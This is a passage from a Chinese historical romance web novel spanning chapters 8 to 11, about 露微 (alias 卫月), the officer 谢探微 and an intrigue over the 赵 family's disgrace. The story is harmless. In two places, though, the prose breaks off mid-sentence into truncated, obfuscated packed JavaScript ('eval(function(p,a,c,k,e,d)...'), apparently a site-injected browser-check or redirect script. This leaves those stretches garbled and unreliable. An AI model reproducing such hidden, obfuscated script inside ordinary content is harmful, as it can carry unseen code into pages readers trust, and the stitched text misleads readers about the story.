陆冬至只提了一句,没说这么详细,但露微此刻一想,有个郡主母亲,必然就有许多宗室亲缘,也不奇怪。 “哦,失敬了。”露微尴尬一笑,怕再说下去错处更多,一低头,想起了手里的未尽事宜,“对了,这长命缕你还要吗?” 谢探微又语塞了,手虽缓缓抬了起来,却又光悬着不拿。 露微见状以为他是在仔细挑选,觉得不至于,“我原是编多了,也不是什么好东西,你随便抓一把都行,回去送给陆冬至和你那些同僚,反正是个小玩意儿。” “他,就不必了。”说出此语的同时,谢探微终于放手拿了一根,只一根。 “嗯?” “我不是才说过,甘州忌讳五月,陆冬至是甘州人,所以不必了。” 露微倒真忘了这一点,便一笑,又从谢探微掌心抽走了那根长命缕,“你再等一下。” 谢探微便原地看着,只见露微拆了丝缕当头的一个结,又 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陆冬至却早已看清了,也认得是什么,“我知道,是端午的长命缕嘛,买的?你什么时候喜欢这种小玩意儿了?” 谢探微白了他一眼,“你管得着么?反正甘州人又不过端午。” 陆冬至觉得谢探微透着古怪,想趁机找找茬,“在甘州自然不过,在咸京么自然入乡随俗咯。”他慢慢靠近,围着谢探微绕圈,一圈两圈,忽然一伸手,从谢探微背在身后的手中抽走了长命缕,“归我了,算你一日不带我的赔礼!” 谢探微原是没防备,这一下岂不气恼,忙追上去抢夺。陆冬至跑得也快,猴子似的四处乱钻。于是,偌大的一个将军府花园就成了二人的嬉戏场。 然而,你追我赶的戏码也没上演多久,随着高处亭中的一声呵斥,两人立马就定住了——是晏令白的声音。紧接着不用片刻,两个人就齐齐地站到了晏令白面前。 晏令白也是休沐在家,书房久坐便出来散步,可才走道亭子里就让他看见了那副场景,他是既怒又不可思议,“二十余岁的人了,方才那叫什么做派?你们还小不成?!” 两人都知错,可事情毕竟是陆冬至先挑起来的,谢探微瞥了他一眼,不打算饶过,“阿父,是他抢我东西不还,我才追他的。” 陆冬至本就比谢探微更怕晏令白,自站下时腿就打颤了,“将军,我……我和他闹着玩的,我知错了,怎么罚都行。” 晏令白听罢一愣,不觉扶额,脸上怒意被无奈代替,“什么东西?交出来。” 陆冬至立马双手呈上,谢探微盯着这条长命缕,心中难以平静,又暗瞪了陆冬至一眼。晏令白一见,也认得是端午的长命缕,可目光越看越细,竟至出神了许久。 “敏识,这是在何处所得?”半晌,晏令白神色一转,却好像一点也不追究他们打闹的事了。 “我在,”谢探微难以开口,但他从未对晏令白撒过谎,“我今天去了趟昭成寺,正巧,正巧遇到了卫月,她给我的。” 陆冬至瞬间睁大了眼睛,但,不敢说话。 “是卫月?”晏令白脑中立马浮现出这个小丫头的模样,又皱起了眉头,“那她在哪里所得?” “是她自己编的,编了许多,就顺便给了我一个。” 晏令白没再多问,沉吟了片刻,将长命缕还给了谢探微,“冬至先去,敏识留下。” 竟然没有惩罚!陆冬至连忙谢了几声,也顾不上计较卫月送的长命缕,很快退下了。谢探微不禁疑惑,但细看义父的态度,又似乎另有深意,便问: “阿父,发生什么事了吗?” 晏令白一摇头,拍了拍谢探微的肩膀,“你母亲寄了家书来,大约是为你家二郎议婚的事,我已命人放在你书房了。” 谢探微脸色的暗了一层,“为弟弟议婚,跟我有什么关系。” 晏令白对谢家的事是心知肚明的,只一笑,“若不是你自己不肯,又怎会让二郎抢先?二郎年已弱冠,也是该成婚了。” “成就成,抢就抢,随他们去。” 8.明媚 与谢探微告别后,露微便回了崇贤坊。当时时辰尚且充裕,她便慢悠悠地一路逛着,等抵达赵家后巷时,却见雪信就坐在巷口,一副久候的模样。 露微连忙上前叫住,又欣喜又愧疚,“我不知你今日要来,等多久了?没耽误你的事吧?” 雪信原是姚家后院杂使的小婢,并不跟随哪个主子,便也没人在意。露微当年时常被华氏罚做粗活,就是跟雪信一起,二人相处间的情谊十分特别。 “不碍事,能见到娘子就好。”雪信说着,从地上拎起一个竹篮,“这是一些应季的瓜果,都是二夫人让我捎来的。娘子莫怪奴婢向二夫人多嘴,奴婢实在看不得娘子受苦,也没什么大主意,但二夫人贤德,必能庇护娘子一些的。” 上回见面后,露微的确嘱咐了雪信要缄口,却也只是怕偷住赵府的事暴露。毕竟,姚家对她好的人只有二郎夫妇,若兴师动众地来了,万一被人瞧见,岂不牵累他们? “带些东西也就罢了,你要告诉他们千万别来此处找我。” 雪信点了点头,可神情却露出几分迟疑:“二夫人他们都明白的,只是,大郎,大郎在派人四处找你。” “什么?!” 雪信握住了露微的手,满脸忧虑:“大郎并不知道娘子的行踪,只是凡事有个万一,万一找到你,你还会回去吗?大郎如今似乎转了性子,是很在意娘子的。” 露微的脑袋空白了一阵,仿佛听了一席高深的话,既听不懂,也无其他的感知——她竟一时想不起姚宜苏的音容了。 “我是不会回去的。”再开口时,她的眼中尽是一片雪亮。 雪信虽无看透露微的心力,但能听出她是极平静的,“娘子,你可有长久的打算?总不能一辈子躲在这里。” 露微淡淡一笑,眼睛看向竹篮里的瓜果,其中颜色最鲜艳的就属樱桃。快两个月了,宋容墓前的樱桃早也腐坏了吧。 这段时间里,她为以特别方式认识的朋友做了一些很大胆的事,但自己的正经事仍无从下手。这诸多际遇并非自己可选,只是怎么样都得走下去,走下去才有希望。 “你放心,我心里有数。”露微抚了抚雪信的头发,暂放果篮,从装着长命缕的袋子里挑了四条出来,“你今日来得也巧,我正有东西给你。” 雪信先是惊喜,但一看东西,却忍不住笑出来,“若说娘子身上有什么缺点,那便只有没生一双巧手了!” 露微并不恼,一面按照之前给谢探微的,也给这四条丝缕都穿上了佛珠,一面反生得意,“我虽无巧手,却有巧思,这佛珠可是昭成寺求来的,这样福气深厚的长命缕,天下独我一家!” 雪信哪里真是嘲笑,感慨露微苦中作乐,不禁十分心疼,“娘子放心,奴婢会好好带给二郎和二夫人,还有小娘子的。” 露微摇头一笑,拿着最先穿好的一根系在了雪信的腕上,“你没数数,这是四个。我怎么会忘了你?” “奴婢也有吗?!” “你是我妹妹,我妹妹当然得有!” …… 姚家后园,一处远人的水榭之下,姚家兄弟二人已静立良久。姚宜苏原是被邀而来,但弟弟的反应却像是在等他先开口。 “仲芫,你有什么话就直说吧。” 忽然一句打破沉寂,似是而非,“阿兄是知道我想问什么的,那就自行直说便是。”姚宜若心如明镜。 姚宜苏面对着满池春水,又沉默了一时,“母亲一切安好,只是掌家之权也该下移了,你不也希望如此么?” 华氏近来的情形,姚宜若无不知晓,也确实觉得母亲多有错处,但这些都只是浮于表面的东西,“但我也和母亲一样,疑惑阿兄为何变化如此之大,你在南边究竟发生了什么?” “我见到她了。”姚宜苏竟答得很快,“一切都不一样了。” 姚宜若很是知道“她”是谁,回想与兄长临去前的谈话,他似乎也是没表态的,难道那时候起,兄长就决定改变了? “阿兄非要等到见一面才能放下,便焉知长嫂如今下落不明不是上天的对你的惩罚?”姚宜若自是早从雪信处得知了露微的行藏,却并不单为对露微守信而缄口。 姚宜苏却很平静,甚至有些洗耳恭听般的真诚,“仲芫,你可知当初弹劾赵家的人是谁?可知为何你们夫妻回杨家打听,杨伯父却连这人的名字都不提?” 姚宜若被突转的话意一惊,他尚未入仕,也不大出门交际,便对咸京的官场知之甚少,可道理是不难懂的:“是谁?难道这个案子还有什么内情吗?!” 姚宜苏缓缓转过身来,目光满含深重之意,“是侍御史舒正显。” “他?!他不是舒青要的父亲吗?!阿兄可别告诉我,就是因为舒青要对你旧情难舍,嫉妒长嫂嫁你,所以让她父亲做了手脚?” “你听我说完!”姚宜苏用力按住了弟弟的肩膀,“舒正显不过从六品,即使御史之职本为奏谏,他又何敢轻易弹劾正三品的赵家?而且,弹劾的理由竟然是身为吏部之首的赵维贞利用官吏选授之便,卖官鬻爵,结党营私。如此重大的罪名,且人证物证皆能坐实,岂是六品能有的力道?” 姚宜苏没有说得很直白,但姚宜若听懂了,也知道兄长为何就差一点也不点破,“阿兄见到舒青要时,就知道赵家有难了吧?” 姚宜苏点头,“但是,我来不及回京,也无力挽救。她也并不知赵家为何有此一劫,只是偷偷传了消息,怕姚家受到牵连。” 姚宜若凝视着兄长,半晌叹出一口气,“从前在母亲和阿兄的庇护下,我只需一心读书即可,哪怕是婚事也是水到渠成的。可从今天开始,我想和阿兄一起分担,只要是关乎姚家,关乎阿兄,都不能瞒我。阿兄能做到吗?” 姚宜苏亦细细端详着,不知从何时起,这个小自己六七岁的弟弟竟也一下长大了,“好,我答应你。” “那么,”姚宜若忽然添了许多郑重,“你现在就明明白白告诉我,不管她舒青要如何,你如今都已放下,是诚心悔过,想要弥补长嫂的,是不是?” “我只要她回来!”姚宜苏没有任何迟疑,但话音刚落却又一惊,脚步不觉顿退,“你——是你把她藏起来了?!” …… 谢探微看过了家书,一张纸,十行字,前所未有的简短,却提到了谢家两件大事。第一件正是弟弟议婚,而另一件则是皇帝调他父亲进京接任吏部尚书,全家很快就要搬到咸京了。 若说第一件不用他去做什么,那第二件就让他陷入了深深的矛盾之中。阖家团圆本是人间乐事,可于他而言却不那么合宜。这一切的缘故还要从他出生时说起。 莫看谢探微如今是个威武小将,可刚落娘胎时却先天不足,就算时时医药不缺,饮□□细,好不容易养到五岁,却还是弱不禁风,又难免宠溺过度,养成了骄矜的脾气。 这时,他父亲谢道元看不下去了。谢道元原是祖上积劳计功袭得了江都伯的爵位,但其为人倒不倚仗家世,从一个边地小吏做起,兢兢业业数十年,升到了扬州刺史的位置。 谢道元不允许自己的长子一辈子就在锦衣玉食中消磨,便一狠心,把儿子送到了挚友晏令白膝下认为寄父,要晏令白以军令号之,以军规戒之。还另外放下狠话,若此子仍不求上进,便生死由天,再也不许进谢家大门。 五岁的孩子陡然从云端跌落,虽是父亲想他成材,却也不可避免地留下了伤痛的记忆。幸而,义父晏令白对他很好,他也在义父的悉心教导下一天天要强起来,十四岁就立下了军功。 他终于能回家了,每年都有回家的机会,但回家的次数却越来越少,上一次还是三年前。三年不见家人似乎也没什么,但父亲的调任却意味着,他要和家人长久生活在一起了。 他不 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“咸京的端午全城都有庆典娱乐,肯定要加强巡警,我不能因私废公。阿父还是自己去吧。” 谢探微的一再抗拒多少有些失了分寸,晏令白终于严肃起来,但刚要训教,余光一瞥,忽然看到了书案上的长命缕。 “阿父,怎么了?”谢探微发现义父的目光突然定住了,神情和下午看见这条长命缕时一样。 晏令白并未沉默太久,只是再开口时语气变了许多:“敏识,你同我说句实话,你今日真是凑巧偶遇了卫月吗?” 谢探微不明白这怀疑从何而来,就算让他编瞎话,他也不知道怎么在这种事上编,“是真的,我何时对阿父说过谎呢?” “你与她至今一共见了几次?”晏令白紧接着又问。 谢探微默算了下,一次犯夜初遇,一次延寿坊偶遇,第三次是将人带到了将军府,最后便是今天,“四次啊。” “那除了杜石羽之事,你们都聊过什么?你是如何看待她的?” 谢探微已是一头的雾水,可看晏令白越发认真,也只能硬着头皮回答,“阿父不是交代过,要我以礼相待吗?所以,我就是和她平常地说话,说了些自己的事。我没有怎么看待她,就觉得她与一般民女不同,兴许是读书人家出身,又生长在咸京,见多识广吧。” 谢探微说来勉强,可一番表述却很是清晰。晏令白静静听罢,脸上浮现出若隐若现的笑意,“哦?你连自己的事都能对外人主动说起了?看来,这小丫头果然不是一般民女。” 谢探微还是不懂,但不难看出,自己光说实话是没用的,“阿父,你就不要和我打哑谜了,直说便是!” 晏令白舒了口气,却又清了清嗓子,“你虽是那般门第,但你的双亲并非俗人,若你有意于卫月,大可自己去说。” 谢探微再是被绕得云里雾里,这句话也终于听明白了,他的脸登时涨得通红,浑身像被点了穴,动弹不得。 晏令白忍不住笑出声来,“这有什么可害羞的?男大当婚女大当嫁,天经地义。” 谢探微已听不进话了,脑中一片空白。直到晏令白拍了拍他的肩膀,含笑走出屋子,他也没喘上一口充足的气息,胸膛仿佛被巨石压住了似的。 良久良久,身侧灯檠上的烛火都渐渐弱了,他才终于缓了一缓走到书案前。那条长命缕依旧安静地躺在那儿,五色丝线弯弯绕绕,一个结又一个结,竟越发像他此刻的心思。 “桃花春色暖先开,明媚谁人不看来。” 他忽然不自觉地念出了这句诗,眼前随之浮现出一片烂漫的桃林,而灼灼英华之间,分明立着一个颀长的身影——纷飞的落英点缀了她半旧的素衣,玉白的脸庞也印染了红妆。 “明媚”两字,在这一刻有了具象。 9.醋意 离崇贤坊坊门不远有一棵大树,露微正蹲在树后,眼睛时刻观察着设在坊门角上的武候铺。这是巡街金吾整装补给的地点,每个坊门都有,但唯有此处看见了那两个熟人。 谢探微曾对露微提过,他们所在的列队负责城西一片的昼夜巡守,五日一休。按此规律,露微已着意找了他们好几回,却一回也没遇上,而她心中揣着的事,也不能找到将军府去说。 今天终于凑巧了,还没走远,就在坊门下一眼瞧见了。不过,露微也不能贸然去搭讪,因为她只想叫住其中一个。 盯了许久,她发现那二人有分开的时候,便趁机捡了个石子朝目标扔了过去,一击即中。 “这里!过来!”眼见目标吃痛回头,露微马上挥了挥手,嘴巴比着口型也不敢出声。 “阿月!”目标很快跑了过来,却奈何喊得太高,被露微立马拽到了树后,“……你怎么鬼鬼祟祟的?” “别吵!”露微在嘴边摆出噤声的姿势,又左右瞄了几眼,确认安全才罢,“我只找你,不想惊动谢探微。” 嗯,她要找的就是陆冬至。 陆冬至虽疑惑,却已不禁偷笑,“怎么,他又惹你了?没听说呀,我可知道你们前几天刚见了,你给了他一条长命缕,对吧?” 露微并不想太刻意,耸了耸肩,道:“亲兄弟都没你们这么亲的,怎么什么事都互通有无啊?看来,也不能找你说闲话了,回头你再告诉去,没趣儿。” 陆冬至很不想回忆他是怎么知道的,只咧嘴一笑,“我懂!你一定是嫌他太正经嘛,我早跟你说了,他从小就这样。” 露微忍笑,心想这人果然好糊弄,不免掂量起正事。她今天只有一个目的,就是试着从陆冬至口中套套话,看能否打探到一些有关赵家的事。 雪信报信说姚宜苏正派人四处搜寻她的行踪,她虽不怕,却难免生出紧迫感,一则不知姚宜苏的真实目的,二来也不想再因姚家而耽误正事。 于是,经过一番考虑,她想到金吾卫职权特殊,每日巡警京城治安,犹如皇家耳目,必定了解很多事。她只要能打探到一分一毫,之后便有了顺藤摸瓜的依据。 至于为何只找陆冬至而避开谢探微,则是因为谢探微警觉得多。上回在昭成寺,她惊讶地问起楚王,就险些被谢探微扣上怀疑宗室勾结大臣的帽子。她不能冒险,只能万事谨慎。 一时想定,露微便开腔了:“也没什么,我这不每天闲逛嘛,经常看到东三街有个府邸封了,以前好像是什么吏部尚书家,你听说过吗?” 陆冬至也是成天在这片巡视的,自然了解附近的情况,一点头,“见是见过,但那么大的宅子,那么大的官,我也不了解。” “那你就不好奇?之前杜石羽休妻的私事你都听说了,这家就没有半点风声?比如,是为什么事封的?” 陆冬至摇头,缓缓却又皱起了眉头,“我好像有点印象……对!那天是晚上,大将军原该下职回府的,可起更了都不见人。我先没在意,可第二天听营中兄弟们议论,说大将军昨夜奉旨,领着宫中宿卫的金吾兵去围了一个大官的家。” 皇帝发令,金吾围府,而且,领兵的竟就是晏令白! 露微一时懵住了,怎么也没想到赵家的案子竟会如此重大。历朝历代的史书记载,凡是“皇帝发亲兵围之”的事件,其原因不是谋逆,就是结党。可她印象里的父亲赵维贞,明明就是一个清正自重的好官,怎会突然犯下此类不赦之罪呢? “然后呢?大将军回来有没有说起此事?” 陆冬至这回是笃定摇头,“将军生性严谨,从不私下置喙朝廷大事,我们也不敢逾越分寸。” 看来,目前唯一能探知详情的办法就是去问晏令白,但这条路也是堵死的。露微只得再作计较,一笑,仍装出随意的样子,“哦,没事,反正我就是闲来无聊,想听个故事解闷罢了。” 陆冬至自是毫无察觉,且眼睛早就盯上了露微的手腕,“阿月,你这个长命缕也给我一个呗,谢探微说你编了许多,他那个连碰都不给我碰。” 露微这才发觉,抬起手来,腕上这根是她自己戴着玩的,“你要啊?当时我也让他多拿一些了,可他却说你们甘州人都不过端午。你到底过不过啊?” 陆冬至哪里知道这个内情,顿时气起来,“好个谢探微,凭什么替我做决定!明明是我和你更熟悉,哼!” 露微可没兴趣帮他们断案,直接把手腕上的解了下来,“送给你送给你,就当我多谢你今天讲故事给我听吧。” 陆冬至原还想叫露微下次带给他,这下可是惊喜过望,一拍胸脯就道:“下次再有什么好玩的,我都给你攒着!” “好啊。”露微求之不得,“有空我再来找你。” …… 入夜,金吾卫两班换防,换下的军士都抓紧休整去了,陆冬至也不例外。可他刚进值室,屁股还没坐稳,便被人一把拽了起来,千斤重的眼皮支棱起来一看,竟是谢探微: “出什么事了?” 谢探微昂首挺胸地站着,脸上毫无困倦之意,“我问你一件事,你今天是不是见什么人了?” “我今天一直都在你眼皮底下啊!”陆冬至漫不经心地回道,说着连打了几个哈欠,“我哪天不在你眼皮底下?除了那天你出去玩没带我。” 谢探微直直盯着他,似在忖度什么,嘴唇微动,“下午在崇贤坊坊门,大树后面。” “你看见了?!”陆冬至一下就清醒了,“看见了你还问?你不认识阿月啊?” 谢探微神色恍了下,喉结不觉咽动。陆冬至被叫走时,他正给武候铺的守卫交办事情,确实没注意到。等他四处寻人,视线扫到树下时,正见陆冬至和卫月一副言谈甚欢的样子。 “你们,说了什么?”谢探微说完,莫名清了清嗓子。 陆冬至还以为谢探微要骂他当职时分心,却怪怪的,“瞎聊呗,反正不是你爱听的。” 谢探微转了转眼睛,忽然一指陆冬至的手腕,“她给你的?”他是没听到二人谈话的内容,但卫月解缕赠缕的举动,他可看得一清二楚。 不提这个倒还罢了,一看到这条长命缕,陆冬至气不打一处来,又把谢探微替他做主的事当面数落了一遍,接着又道: “谢探微,我现在越来越看不明白你了,我和阿月先交了朋友,你是横插一脚还从中作梗,凭什么你能有我就不能有,她难道是你一个人的?” 陆冬至是脾气上来口不择言,可字面意思却听得谢探微浑身都紧了一紧,“不会说话就少说话,烦死了。” 丢下这句,谢探微大步离开了值室,陆冬至不明所以,气得发笑,“你才烦呢,白吃什么飞醋,酸死你算了!” …… 转眼已是端午,谢家一行如期抵达了咸京。晏令白早两天便得了前行小厮报信,晨起就出发迎接去了。自然,谢探微再是不情愿,也终究不敢违拗父命。 路上,父子一人一马,一前一后,起初并无任何交流,但晏令白数度回头,总见谢探微一脸闷闷不乐,难免生出担忧。他稍一勒马,等谢探微行到并肩,便问道: “敏识啊,你已经不是小孩子了,还要在这种时候赌气吗?” 来都来了,谢探微倒也不至于反悔,“阿父放心,前时我已遵照阿父交代,把家中旧宅收拾妥当,今天就同他们一起回家住。” 晏令白一听十分欣慰,可目光偶然一扫,发现前后除了他们,只有几个随从,还少了张面孔,“冬至没来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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晏令白嘴角溢出一丝笑意,“我是赞她有胆有谋,并不是说她不好,你急什么?” 谢探微却是无意识顺嘴就说了,脸上不禁一热,“阿父,这件事到底哪里有问题?能否明言?” 晏令白既将人带到偏僻处,必然是要说些要紧事的,“敏识,你是知道轻重的,有些事我可以告诉你,但你务必缄口,另外也有不能告诉你的,你也不许多问。懂吗?” 绕口的叮嘱让谢探微感到迷茫的同时,也感知到了很重的力度,“好,探微绝不多事。” 晏令白沉了沉气,看着谢探微的目光郑重而信任:“你该清楚,楚王是先帝最小的兄弟,也是高祖皇帝继后所生的嫡子,那如此尊贵的出身,却为何封在了南边的偏远之地?” “我听母亲提过,他原本的封号是雍王,十多年前先帝驾崩,留下旨意改封诸王,他就是其中一个。” 晏令白点点头,意味深长,“皇家子嗣多有皇位之争,楚王既有出身,也有名望,先帝甚为忌惮。所以,改封诸王不过是为了掩人耳目,最重要的是让楚王远离咸京,回避朝事。” 谢探微听得头皮发紧,再联系前后之事细思,更添惶恐,“所以,我提到杜石羽去了南营州,阿父那么惊讶,就是因为阿父早就清楚,楚王与朝中大臣素有勾结?那有一个杜石羽,便不会只有一个杜石羽,这些陛下可都知道?还有,远离咸京固然是远离朝廷,可在看不见的地方岂不是更方便行事?阿父常年戍守甘州,究竟又是何时探知这些的呢?” 谢探微的每一个问题都正中要害,晏令白发出赞赏的眼光,却没有再往下说,只最后告诉他: “敏识,就如你这表字‘敏识’二字,你要时刻保持清醒,保持敏觉,尽心所事,锻炼本领,总有一天会派上用场。” “阿父,你放心。” 10.惊情 清晨,天色刚刚透亮,露微就被一阵敲门声惊醒了。自从住到赵家后院,还是第一次有人敲门,她不得不有所警觉,也不能贸然出声。然而,正想着办法,却听: “娘子,奴婢是雪信。” 这一句便教人踏实了,露微连忙开了门,“你吓我一跳!怎么来得这么早?” “早一些路上人少。”雪信只是站在门下,见露微来拉她,也没有挪步的意思,“娘子,这里说话不便,我们还是出去说吧?” 开着门说话确实不便,但只要进来关上门,岂不比外面更私密?露微觉得有点奇怪,想了想道:“今日是端午啊,泽兰过生辰,你不用在府里帮忙吗?那孩子也是很亲你的。” 雪信却是一笑,“有二郎和夫人在,不用奴婢做什么,也是二夫人叫奴婢来陪娘子,免得娘子感伤。” 这个理由倒是很通,露微没再多说,稍作整理便和雪信一道走了,“那我们就去延寿坊转转,看看有什么小玩意儿,买了你再帮我悄悄带给泽兰。上回带去的长命缕,她可喜欢吗?” 从后巷出去的一路,露微都很高兴,雪信也笑着时时点头。很快到了该转弯的街口,露微刚抬手指了指方向,一转眼却见雪信拦在了路前,然后竟毫无征兆地跪下了。 “你这是……”露微自是立马去扶,但弯腰间目光一划,竟看到前面早有一个身影站立——是那个近乎想不起来容貌的人,姚宜苏——她全懂了。 “娘子不要怪奴婢,奴婢是不得已。” 雪信流着泪向露微磕了个头,可露微早已顾不上,半年多未见的姚宜苏走了过来,脸上是难以形容的神情。 “露微,许久不见,你受苦了。” 露微不怒也不急,缓而只是后退了两步,“我已不是你家的人,我们之间并无可说的。” 姚宜苏目光凝视,却是十分从容的,“跟我去一个清净处,我知道一些关于赵家的事。” 露微一惊,胸口也随之起伏了下。她难辨真假,但又不得不承认姚宜苏颇受皇帝赏识,日常出入宫禁,是有能力了解到真相的。 “去哪里?”她想赌一次。 姚宜苏悦然一笑,侧身让路,指向停在街边的马车,“不远。” 露微没再拖延,即刻随姚宜苏上了车。车内二人对坐,露微只一心计算着路程方向,就算姚宜苏目光灼灼,也没有一分关注。果然没过多久,车驾停在了宁人坊的一处小宅前。 宁人坊在崇贤坊的西向,一条通明渠穿坊而过,不远便是咸京最大的渡口,这宅子正是闹中取静。 “这原是姚家的祖宅,到祖父一辈才搬去现在的住处,你应该不知道。”下车引路至客堂,姚宜苏的语调十分轻快。 露微一无兴趣,踏进门便直接开口问:“赵家到底是何故?” 姚宜苏略微怔住,旋即叹了一声,“侍御史舒正显弹劾你父亲卖官结党,陛下盛怒,发金吾兵围府抄家。后来又念你父亲侍奉两朝,便从轻发落,贬官流放去了零陵。” 露微听得心内震动,这内情果然和陆冬至所说的对应上了,“我父亲绝不会卖官结党!这一定是诬陷!那个舒正显是谁?我从来没听父亲说起过,他可有证据?!” 姚宜苏暗暗握紧了拳头,“露微,我说的都是实话,若证据不足,陛下又岂会轻信?你不要激动,事情重大最须从长计议,我会尽已所能帮你的。” 露微稍稍缓过劲,眉头却渐渐拧紧,“我问你,这个舒正显与你的舒青要是何关系?” 姚宜苏猛一顿步,眼睛霎时聚集起一片惶然。他知道露微了解他的过去,但并不知道露微清楚“舒青要”这个名字,而他今天亦是不想提的。 “露微,从前种种都是我的错,我在巡疗的路上就给你寄了信,可母亲私自拦下,让我们的误会更深了。我愿以余生弥补你三年苦楚,你能不能最后原谅我一次?” 满腔的深情露微只听出一个意思:舒正显与舒青要是一家人。 “我再问你一句,舒青要是不是因为你我之间早有婚约,致使你们无法成婚,所以记恨于我,才弄计诬陷赵家的?!”露微的声音不高,却有切齿之恨。 “我若告诉你不是,你信吗?”事已至此,姚宜苏只有和盘托出,比告诉二郎时解释得更直白,“舒氏已是楚王妃,舒正显是楚王的岳父,自然关系密切,或许是你父亲无意中得罪了楚王,所以才生出此祸。” 露微相信这个说法,却并不想与姚宜苏辩论是否源起舒青要,换言之,往事虽如烟,事实却不可变。 “露微,跟我回去吧?母亲如今已不理家事,今后家中一切都由你做主。赵家的事我也会放在心上,找机会向陛下进言。” 当家做主,夫妻同心,这样的美梦,露微在那三年里不知做了多少次。可梦早已醒了,便不会再有下一个三年。 “姚宜苏,你是从什么时候开始把我放在眼里的?”露微问得很平静。 姚宜苏眼眸闪动,却答不上来,半晌忽然道:“今天是泽兰的生辰,她一早醒了就四处喊阿娘,她还那么小,数月不见,也不曾忘了你。” 露微笑了,朝姚宜苏走近,“你不会连她的生母是谁都忘了吧?她是你的女儿,跟我毫无血缘!” 也许姚宜苏是没有理由可说了,便拿出孩子来试图挽回,可姚宜苏不懂的是,露微早已想明白了:她爱护泽兰并不能只顾一时的陪伴,若她仍在姚家受辱,这样的嫡母,又怎能为孩子计之长远? 她首先得是她自己。 姚宜苏低下了头,一手扶在柱上,似已无言相对。 “姚宜苏,太迟了,我可能早就不喜欢你了。”说完,露微最后看了一眼依旧风姿俊逸的姚宜苏,然后坦然离开了。 见露微独自出了门,姚宜苏的随从阿林很快跑了进来,“阿郎,夫人不肯回家吗?还要不要追?” 姚宜苏微微摇头,“不必,她不会离开咸京的。” 阿林不敢违抗,但他方才就守在廊下,都听见了,“阿郎为何不告诉夫人自己的苦衷呢?从前很多事都是老夫人太过刚强,并非阿郎一人之过。” 姚宜苏深深叹了一口气,眼睛抬起,望向露微离去的院门,“是我醒悟太迟,不曾有一次护好了她。一直到刚才,我都是小看了她的,也是到刚才,我才算认识了她。” …… 晏令白携谢探微抵达渡口不久,谢家的船只便靠岸了。谢探微远远已认出船板上站着父母和弟弟,只是母亲身旁还有一个女子,不是侍女打扮,倒是眼生。 谢道元与晏令白已有多年未见,一待上岸便携手叙话,近乎忘了身在何处,半天才在夫人新安郡主李敬颜的提醒下,把眼睛挪到了谢探微身上。 谢探微一开始就很不急,安心等着长辈叙旧,眼见父亲的目光转过来才上前行礼,“父亲,母亲一路风尘辛苦。” 谢道元抚了抚须髯,只稍一点头,“起来吧,待我与你寄父问了,再来问你的话。” 三年未见,也不过如此,谢探微对这意料之中的情形并不在意,只当自己是块木头,站到了一边。 李氏将一切都看在眼里,也早按捺不住思子之心,由着谢道元与晏令白继续说话,便走去拉住了儿子,“大郎,这几年可好吗?身上可有受伤?为什么不回家来呢?” 谢探微与母亲的关系缓和得多,毕竟当年做主把他送走的只是父亲,可他还是无法克服常年分离带来的生疏,尤其是现在这个场景,“母亲一切可都好吗?”他干涩一笑,目光瞥向几步之外的弟弟谢探隐,兄弟间也只颔首致意而已。 李氏眼中半含泪光,笑着点点头,“若非你长姊夫尚在扬州任上,一家人不得来此团聚,我们一大家子也算团圆了。不过,娘以后能天天见到你,也没什么可抱怨的了。” 谢探微的长姊谢探渺,年纪比他长两岁,十五岁时许配给了扬州本地人徐枕山。在所有家人中,他与长姊的感情稍近一些,但长姊毕竟嫁了人,相夫教子不得空闲,近年也来往少了。 “他们夫妻也都好吧?长子也该是进学之龄了。” “是啊,梦郎十分聪慧,倒有些像你小时候。”李氏满身洋溢着幸福,说着眉眼一抬,忽然想起了什么要事,“哦,对了,娘给你引荐一个人。过来吧,芳儿。” 李氏所唤的“芳儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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抛下这句,他也抛下了当场所有人,一场团圆终未团圆。 …… 从姚家祖宅离开后,露微心中前所未有的沮丧,已在通明渠的河道边痴坐良久。 便是再给她十个聪明绝顶的脑子,她也绝想不到,赵维贞的贬官竟会同舒青要扯上关系。而赵家的祸事不论是不是舒青要指使,只要赵家知道与舒青要相关,便会很自然地算在她的头上。 那么,无论她再怎么努力为赵家翻案,也无论她翻不翻得成,都挽救不了一丝本就脆弱不堪的亲情。从前的母亲宋容欠下的债还不了,她又新添了一大笔。 为何上天要对她事事如此残忍? 想到这里,她的眼睛便再也不堪酸涩,泪水扑簌簌如断珠,很快透湿了一片衣襟。然而,也是无声的。 “阿月?” 露微是选在岸道深处坐着的,四周芦苇有一人高,原不可能有人看见她。可谁知随着这声特殊的呼唤,谢探微拨开苇荡出现在眼前,而河岸的熏风还不及收干她脸上的泪痕。 “阿月,不论发生了什么,先过来!”谢探微向她伸出手,小心翼翼,也不敢多近半步。 露微见状,惊愕之余很快明白过来,谢探微大概是以为她要轻生。“我没有想死。”说着,她扭过脸用力擦去了余泪。 谢探微一副松了口气的神情,“那你在这里做什么?为什么哭?” 露微抿了抿嘴,心算今日并不是谢探微的休假日,而他却未着甲胄,“那你为什么在此?” 谢探微自是刚和家人不欢而散,也是沿着河道消遣来的,“家父家母今日抵京,我才去渡口迎接,现下已无事了。”这个说法是他能想到的最折中的一个,然后毫无停顿,又问: “阿月,你为什么哭?” 露微原是想把话题转给他,并非很想知道他的缘故,可这人却追问得紧,似乎是敷衍不过了: “你父母团聚阖家欢喜,我阿娘忌日就难免伤怀了。” 谢探微一愣,垂在身侧的手暗暗捏折了几根芦苇,后悔不已。 11.言深 通明渠畔,芦苇丛中,露微与谢探微各坐在石上,两双目光偶有交错,又每每一齐转向水面。气氛静默了好一时,终究是露微忍不住先开了口: “我刚刚看着真的很像要寻死的?” “我远远已见是人的身影站在水边,近了才认出是你,以后万不要再做此危险举动。”谢探微倒应得快,早等着似的。 露微却一下笑了,“那是你高,才能看见。” 谢探微自然明白这不是夸奖,抿了抿略干涩的嘴唇,道:“你不是本地人么?知道那么多事,难道竟不知每年有多少人溺死在通明渠里?” 